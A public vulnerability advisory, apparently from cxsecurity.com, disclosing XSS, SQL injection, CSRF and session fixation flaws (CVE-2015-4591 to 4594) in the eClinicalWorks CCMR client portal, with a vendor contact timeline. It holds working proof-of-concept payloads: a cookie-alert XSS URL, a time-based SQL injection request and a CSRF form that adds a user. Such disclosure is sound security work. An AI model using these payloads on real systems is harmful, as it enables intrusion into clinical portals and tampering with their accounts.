eClinicalWorks Population Health (CCMR) SQL Injection / CSRF / XSS

2016.02.02
Credit: Jerold Hoong
Risk: Medium
Local: No
Remote: Yes

# Title: eClinicalWorks (CCMR) - Multiple Vulnerabilities # Vendor: https://www.eclinicalworks.com # Product: eClinicalWorks Population Health (CCMR) Client Portal Software # URL: https://www.eclinicalworks.com/products-services/population-health-ccmr/ # Credit: Jerold Hoong ------------------------------------- # CVE-2015-4591 CROSS-SITE SCRIPTING Cross-site scripting (XSS) vulnerability in login.jsp in eClinicalWorks Population Health (CCMR) Client Portal Software allows remote authenticated users to inject arbitrary javascript via the strMessage parameter. https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/login.jsp?strMessage= %3Cimg%20src=/%20onerror=%22alert%28document.cookie%29%22/%3E ------------------------------------- # CVE-2015-4592 SQL INJECTION SQL injection vulnerability in portalUserService.jsp in eClinicalWorks Population Health (CCMR) Client Portal Software allows remote authenticated users to inject arbitrary malicious database commands as part of user input. Parameter: uemail (POST PARAMETER) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate= &zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno= POST /mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp HTTP/1.1 Host: 127.0.0.1:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/dashBoard.jsp Content-Length: 186 [SNIP] ... Connection: keep-alive Pragma: no-cache Cache-Control: no-cache [SNIP] ... action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate= &zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno= ------------------------------------- # CVE-2015-4593 CROSS-SITE REQUEST FORGERY Cross-site request forgery (CSRF) vulnerability in portalUserService.jsp in eClinicalWorks Client Portal allows remote attackers to hijack the authentication of content administrators for requests that could lead to the creation, modification and deletion of users, appointments and employees. # ADDING OF USER <html> <body> <form action="https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp" method="POST"> <input type="hidden" name="action" value="add" /> <input type="hidden" name="uid" value="0" /> <input type="hidden" name="createdOver" value="1" /> <input type="hidden" name="ufname" value="John" /> <input type="hidden" name="ulname" value="Doe" /> <input type="hidden" name="uminitial" value="" /> <input type="hidden" name="selUserType" value="1" /> <input type="hidden" name="status" value="0" /> <input type="hidden" name="upaddress" value="" /> <input type="hidden" name="upcity" value="" /> <input type="hidden" name="upstate" value="" /> <input type="hidden" name="zipcode" value="" /> <input type="hidden" name="uemail" value="johndoe&#64;test&#46;com&#46;de" /> <input type="hidden" name="upphone" value="98999299" /> <input type="hidden" name="umobileno" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------- # CVE-2015-4594 SESSION FIXATION The web application is vulnerable to session fixation attacks. When authenticating a user the application does not assign a new session ID, making it possible to use an existent session ID. ------------------------------------- # TIMELINE 16/06/2015: Vulnerability found 16/06/2015: Vendor informed 16/06/2015: Request for CVE IDs - 16/06/2015: MITRE issued CVE numbers 16/06/2015: Vendor responded requesting more information on support contract etc - 21/06/2015: No support contract, vendor does not open case - 22/06/2015: Requested update from vendor, no response - 01/07/2015: Contacted vendor again, vendor requested for support contract again - 02/07/2015: No support contract, no response from vendor 31/01/2016: Public disclosure


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top